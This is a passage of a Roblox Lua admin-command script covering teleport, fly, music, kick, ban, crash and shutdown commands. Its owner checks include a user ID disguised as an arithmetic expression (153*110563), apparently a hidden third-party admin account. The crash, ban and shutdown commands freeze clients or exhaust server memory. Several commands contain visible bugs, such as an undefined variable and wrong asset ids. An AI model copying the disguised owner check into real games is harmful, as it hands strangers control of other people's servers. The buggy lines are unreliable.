  1070. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1071. end
  1072. end))
  1073. end
  1074. end
  1075.  
  1076. if msg:lower():sub(1,5) == "team " then
  1077. local chk1 = msg:lower():sub(6):find(" ") + 5
  1078. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1079. for i, v in pairs(plrz) do
  1080. coroutine.resume(coroutine.create(function()
  1081. if v and game:findFirstChild("Teams") then
  1082. for a, tm in pairs(game.Teams:children()) do
  1083. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1084. end
  1085. end
  1086. end))
  1087. end
  1088. end
  1089.  
  1090. if msg:lower():sub(1,6) == "place " then
  1091. local chk1 = msg:lower():sub(7):find(" ") + 6
  1092. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1093. for i, v in pairs(plrz) do
  1094. coroutine.resume(coroutine.create(function()
  1095. if v and v:findFirstChild("PlayerGui") then
  1096. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1097. end
  1098. end))
  1099. end
  1100. end
  1101.  
  1102. if msg:lower():sub(1,3) == "tp " then
  1103. local chk1 = msg:lower():sub(4):find(" ") + 3
  1104. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1105. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1106. for i, v in pairs(plrz) do
  1107. coroutine.resume(coroutine.create(function()
  1108. for i2, v2 in pairs(plrz2) do
  1109. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1110. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1111. end
  1112. end
  1113. end))
  1114. end
  1115. end
  1116.  
  1117. if msg:lower():sub(1,7) == "change " then
  1118. local chk1 = msg:lower():sub(8):find(" ") + 7
  1119. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1120. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1121. for i, v in pairs(plrz) do
  1122. coroutine.resume(coroutine.create(function()
  1123. if v and v:findFirstChild("leaderstats") then
  1124. for a, st in pairs(v.leaderstats:children()) do
  1125. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1126. end
  1127. end
  1128. end))
  1129. end
  1130. end
  1131.  
  1132. if msg:lower():sub(1,6) == "shirt " then
  1133. local chk1 = msg:lower():sub(7):find(" ") + 6
  1134. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1135. for i, v in pairs(plrz) do
  1136. coroutine.resume(coroutine.create(function()
  1137. if v and v.Character then
  1138. for i,v in pairs(v.Character:children()) do
  1139. if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1140. end
  1141. end
  1142. end))
  1143. end
  1144. end
  1145.  
  1146. if msg:lower():sub(1,6) == "pants " then
  1147. local chk1 = msg:lower():sub(7):find(" ") + 6
  1148. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1149. for i, v in pairs(plrz) do
  1150. coroutine.resume(coroutine.create(function()
  1151. if v and v.Character then
  1152. for i,v in pairs(v.Character:children()) do
  1153. if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
  1154. end
  1155. end
  1156. end))
  1157. end
  1158. end
  1159.  
  1160. if msg:lower():sub(1,5) == "face " then
  1161. local chk1 = msg:lower():sub(6):find(" ") + 5
  1162. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1163. for i, v in pairs(plrz) do
  1164. coroutine.resume(coroutine.create(function()
  1165. if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
  1166. v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
  1167. end
  1168. end))
  1169. end
  1170. end
  1171.  
  1172. ---------------------
  1173. -- FunCommands --
  1174. ---------------------
  1175. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1176.  
  1177. if msg:lower():sub(1,6) == "music " then
  1178. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1179. local id = msg:sub(7)
  1180. local pitch = 1
  1181. if tostring(id):lower():find("caramell") then id = 2303479 end
  1182. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  1183. if tostring(id):find("rick") then id = 2027611 end
  1184. if tostring(id):find("halo") then id = 1034065 end
  1185. if tostring(id):find("pokemon") then id = 1372261 end
  1186. if tostring(id):find("cursed") then id = 1372257 end
  1187. if tostring(id):find("extreme") then id = 11420933 end
  1188. if tostring(id):find("awaken") then id = 27697277 end
  1189. if tostring(id):find("alone") then id = 27697392 end
  1190. if tostring(id):find("mario") then id = 1280470 end
  1191. if tostring(id):find("choir") then id = 1372258 end
  1192. if tostring(id):find("chrono") then id = 1280463 end
  1193. if tostring(id):find("dotr") then id = 11420922 end
  1194. if tostring(id):find("entertain") then id = 27697267 end
  1195. if tostring(id):find("fantasy") then id = 1280473 end
  1196. if tostring(id):find("final") then id = 1280414 end
  1197. if tostring(id):find("emblem") then id = 1372259 end
  1198. if tostring(id):find("flight") then id = 27697719 end
  1199. if tostring(id):find("banjo") then id = 27697298 end
  1200. if tostring(id):find("gothic") then id = 27697743 end
  1201. if tostring(id):find("hiphop") then id = 27697735 end
  1202. if tostring(id):find("intro") then id = 27697707 end
  1203. if tostring(id):find("mule") then id = 1077604 end
  1204. if tostring(id):find("film") then id = 27697713 end
  1205. if tostring(id):find("nezz") then id = 8610025 end
  1206. if tostring(id):find("angel") then id = 1372260 end
  1207. if tostring(id):find("resist") then id = 27697234 end
  1208. if tostring(id):find("schala") then id = 5985787 end
  1209. if tostring(id):find("organ") then id = 11231513 end
  1210. if tostring(id):find("tunnel") then id = 9650822 end
  1211. if tostring(id):find("spanish") then id = 5982975 end
  1212. if tostring(id):find("venom") then id = 1372262 end
  1213. if tostring(id):find("wind") then id = 1015394 end
  1214. if tostring(id):find("guitar") then id = 5986151 end
  1215. local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
  1216. end
  1217.  
  1218. if msg:lower() == "stopmusic" then
  1219. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  1220. end
  1221.  
  1222. if msg:lower() == "musiclist" then
  1223. if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
  1224. local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
  1225. local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
  1226. for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1227. end
  1228.  
  1229. if msg:lower():sub(1,4) == "fly " then
  1230. local plrz = GetPlr(plr, msg:lower():sub(5))
  1231. for i, v in pairs(plrz) do
  1232. coroutine.resume(coroutine.create(function()
  1233. if v and v:findFirstChild("PlayerGui") then
  1234. local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  1235. local mouse = game.Players.LocalPlayer:GetMouse()
  1236. repeat wait() until mouse
  1237. local plr = game.Players.LocalPlayer
  1238. local torso = plr.Character.Torso
  1239. local flying = true
  1240. local deb = true
  1241. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  1242. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1243. local maxspeed = 50
  1244. local speed = 0
  1245. function Fly()
  1246. local bg = Instance.new("BodyGyro", torso)
  1247. bg.P = 9e4
  1248. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  1249. bg.cframe = torso.CFrame
  1250. local bv = Instance.new("BodyVelocity", torso)
  1251. bv.velocity = Vector3.new(0,0.1,0)
  1252. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  1253. repeat wait()
  1254. plr.Character.Humanoid.PlatformStand = true
  1255. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  1256. speed = speed+.5+(speed/maxspeed)
  1257. if speed > maxspeed then
  1258. speed = maxspeed
  1259. end
  1260. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  1261. speed = speed-1
  1262. if speed < 0 then
  1263. speed = 0
  1264. end
  1265. end
  1266. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  1267. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1268. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  1269. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  1270. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  1271. else
  1272. bv.velocity = Vector3.new(0,0.1,0)
  1273. end
  1274. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  1275. until not flying
  1276. ctrl = {f = 0, b = 0, l = 0, r = 0}
  1277. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  1278. speed = 0
  1279. bg:Destroy()
  1280. bv:Destroy()
  1281. plr.Character.Humanoid.PlatformStand = false
  1282. end
  1283. mouse.KeyDown:connect(function(key)
  1284. if key:lower() == "e" then
  1285. if flying then flying = false
  1286. else
  1287. flying = true
  1288. Fly()
  1289. end
  1290. elseif key:lower() == "w" then
  1291. ctrl.f = 1
  1292. elseif key:lower() == "s" then
  1293. ctrl.b = -1
  1294. elseif key:lower() == "a" then
  1295. ctrl.l = -1
  1296. elseif key:lower() == "d" then
  1297. ctrl.r = 1
  1298. end
  1299. end)
  1300. mouse.KeyUp:connect(function(key)
  1301. if key:lower() == "w" then
  1302. ctrl.f = 0
  1303. elseif key:lower() == "s" then
  1304. ctrl.b = 0
  1305. elseif key:lower() == "a" then
  1306. ctrl.l = 0
  1307. elseif key:lower() == "d" then
  1308. ctrl.r = 0
  1309. end
  1310. end)
  1311. Fly()]]
  1312. cl.Parent = v.PlayerGui cl.Disabled = false
  1313. end
  1314. end))
  1315. end
  1316. end
  1317.  
  1318. if msg:lower():sub(1,6) == "unfly " then
  1319. local plrz = GetPlr(plr, msg:lower():sub(7))
  1320. for i, v in pairs(plrz) do
  1321. coroutine.resume(coroutine.create(function()
  1322. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1323. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
  1324. for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
  1325. wait(.1) v.Character.Humanoid.PlatformStand = false
  1326. end
  1327. end))
  1328. end
  1329. end
  1330.  
  1331. if msg:lower():sub(1,5) == "name " then
  1332. local chk1 = msg:lower():sub(6):find(" ") + 5
  1333. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1334. for i, v in pairs(plrz) do
  1335. coroutine.resume(coroutine.create(function()
  1336. if v and v.Character and v.Character:findFirstChild("Head") then
  1337. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1338. local char = v.Character
  1339. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1340. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1341. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1342. char.Head.Transparency = 1
  1343. end
  1344. end))
  1345. end
  1346. end
  1347.  
  1348. if msg:lower():sub(1,7) == "unname " then
  1349. local plrz = GetPlr(plr, msg:lower():sub(8))
  1350. for i, v in pairs(plrz) do
  1351. coroutine.resume(coroutine.create(function()
  1352. if v and v.Character and v.Character:findFirstChild("Head") then
  1353. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1354. end
  1355. end))
  1356. end
  1357. end
  1358.  
  1359. if msg:lower():sub(1,5) == "char " then
  1360. local chk1 = msg:lower():sub(6):find(" ") + 5
  1361. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1362. for i, v in pairs(plrz) do
  1363. coroutine.resume(coroutine.create(function()
  1364. if v and v.Character then
  1365. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1366. v:LoadCharacter()
  1367. end
  1368. end))
  1369. end
  1370. end
  1371.  
  1372. if msg:lower():sub(1,7) == "unchar " then
  1373. local plrz = GetPlr(plr, msg:lower():sub(8))
  1374. for i, v in pairs(plrz) do
  1375. coroutine.resume(coroutine.create(function()
  1376. if v and v.Character then
  1377. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1378. v:LoadCharacter()
  1379. end
  1380. end))
  1381. end
  1382. end
  1383.  
  1384. if msg:lower():sub(1,7) == "normal " then
  1385. local plrz = GetPlr(plr, msg:lower():sub(8))
  1386. for i, v in pairs(plrz) do
  1387. coroutine.resume(coroutine.create(function()
  1388. if v and v.Character and v.Character:findFirstChild("Torso") then
  1389. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1390. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1391. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1392. v.Character.Torso.Transparency = 0
  1393. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1394. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1395. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1396. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1397. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1398. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1399. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1400. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1401. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1402. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1403. end end
  1404. end
  1405. end))
  1406. end
  1407. end
  1408.  
  1409. if msg:lower():sub(1,7) == "guifix " then
  1410. local plrz = GetPlr(plr, msg:lower():sub(8))
  1411. for i, v in pairs(plrz) do
  1412. coroutine.resume(coroutine.create(function()
  1413. if v and v:findFirstChild("PlayerGui") then
  1414. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1415. end
  1416. end))
  1417. end
  1418. end
  1419.  
  1420. if msg:lower():sub(1,9) == "loopheal " then
  1421. local plrz = GetPlr(plr, msg:lower():sub(10))
  1422. for i, v in pairs(plrz) do
  1423. if v then
  1424. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1425. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1426. repeat wait()
  1427. coroutine.resume(coroutine.create(function()
  1428. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1429. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1430. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1431. end
  1432. end))
  1433. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1434. end
  1435. end
  1436. end
  1437.  
  1438. if msg:lower():sub(1,11) == "unloopheal " then
  1439. local plrz = GetPlr(plr, msg:lower():sub(12))
  1440. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1441. end
  1442.  
  1443. if msg:lower():sub(1,10) == "loopfling " then
  1444. local plrz = GetPlr(plr, msg:lower():sub(11))
  1445. for i, v in pairs(plrz) do
  1446. if v then
  1447. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1448. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1449. repeat
  1450. coroutine.resume(coroutine.create(function()
  1451. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1452. local xran local zran
  1453. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1454. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1455. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1456. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1457. end
  1458. end))
  1459. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1460. end
  1461. end
  1462. end
  1463.  
  1464. -------------------------
  1465. -- True Owner Commands --
  1466. -------------------------
  1467.  
  1468. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  1469.  
  1470. if msg:lower():sub(1,3) == "oa " then
  1471. local plrz = GetPlr(plr, msg:lower():sub(4))
  1472. for i, v in pairs(plrz) do
  1473. coroutine.resume(coroutine.create(function()
  1474. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {v}) end)) end
  1475. end))
  1476. end
  1477. end
  1478.  
  1479. if msg:lower():sub(1,5) == "unoa " then
  1480. for i = 1, #owners do
  1481. coroutine.resume(coroutine.create(function()
  1482. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  1483. end))
  1484. end
  1485. end
  1486.  
  1487. if msg:lower() == "settings" then
  1488. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
  1489. local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
  1490. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
  1491. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  1492. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  1493. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  1494. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  1495. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  1496. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  1497. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  1498. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  1499. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  1500. end
  1501.  
  1502. end
  1503.  
  1504. --------------------
  1505. -- Owner Commands --
  1506. --------------------
  1507.  
  1508. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1509.  
  1510. if msg:lower():sub(1,3) == "pa " then
  1511. local plrz = GetPlr(plr, msg:lower():sub(4))
  1512. for i, v in pairs(plrz) do
  1513. coroutine.resume(coroutine.create(function()
  1514. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {v}) end)) end
  1515. end))
  1516. end
  1517. end
  1518.  
  1519. if msg:lower():sub(1,5) == "unpa " then
  1520. for i = 1, #admins do
  1521. coroutine.resume(coroutine.create(function()
  1522. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  1523. end))
  1524. end
  1525. end
  1526.  
  1527. --------------------------
  1528. -- Super Admin Commands --
  1529. --------------------------
  1530.  
  1531. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  1532.  
  1533. if msg:lower() == "logs" then
  1534. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  1535. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  1536. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1537. end
  1538.  
  1539. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  1540. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  1541.  
  1542. if msg:lower():sub(1,3) == "sm " then
  1543. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  1544. end
  1545.  
  1546. if msg:lower():sub(1,3) == "ko " then
  1547. local chk1 = msg:lower():sub(4):find(" ") + 3
  1548. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1549. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  1550. for n = 1, num do
  1551. for i, v in pairs(plrz) do
  1552. coroutine.resume(coroutine.create(function()
  1553. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  1554. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  1555. v.Character:BreakJoints()
  1556. wait(1/44)
  1557. v:LoadCharacter()
  1558. wait(1/44)
  1559. end
  1560. end))
  1561. end
  1562. end
  1563. end
  1564.  
  1565. if msg:lower():sub(1,6) == "crash " then
  1566. local plrz = GetPlr(plr, msg:lower():sub(7))
  1567. for i, v in pairs(plrz) do
  1568. coroutine.resume(coroutine.create(function()
  1569. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  1570. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  1571. end
  1572. end))
  1573. end
  1574. end
  1575.  
  1576. if msg:lower():sub(1,5) == "kick " then
  1577. local plrz = GetPlr(plr, msg:lower():sub(6))
  1578. for i, v in pairs(plrz) do
  1579. coroutine.resume(coroutine.create(function()
  1580. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  1581. end))
  1582. end
  1583. end
  1584.  
  1585. if msg:lower():sub(1,6) == "admin " then
  1586. local plrz = GetPlr(plr, msg:lower():sub(7))
  1587. for i, v in pairs(plrz) do
  1588. coroutine.resume(coroutine.create(function()
  1589. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("ThunderBladeWolf", "You're an admin!", false, {v}) end)) end
  1590. end))
  1591. end
  1592. end
  1593.  
  1594. if msg:lower():sub(1,8) == "unadmin " then
  1595. for i = 1, #tempadmins do
  1596. coroutine.resume(coroutine.create(function()
  1597. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  1598. end))
  1599. end
  1600. end
  1601.  
  1602. if msg:lower():sub(1,4) == "ban " then
  1603. local plrz = GetPlr(plr, msg:lower():sub(5))
  1604. for i, v in pairs(plrz) do
  1605. coroutine.resume(coroutine.create(function()
  1606. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  1607. end))
  1608. end
  1609. end
  1610.  
  1611. if msg:lower():sub(1,6) == "unban " then
  1612. for i = 1, #banland do
  1613. coroutine.resume(coroutine.create(function()
  1614. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  1615. end))
  1616. end
  1617. end
  1618.  
  1619. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  1620.  
  1621. end
  1622. end))
  1623. end
  1624.  
  1625. function AdminControl(plr)
  1626. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  1627. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  1628. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  1629. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
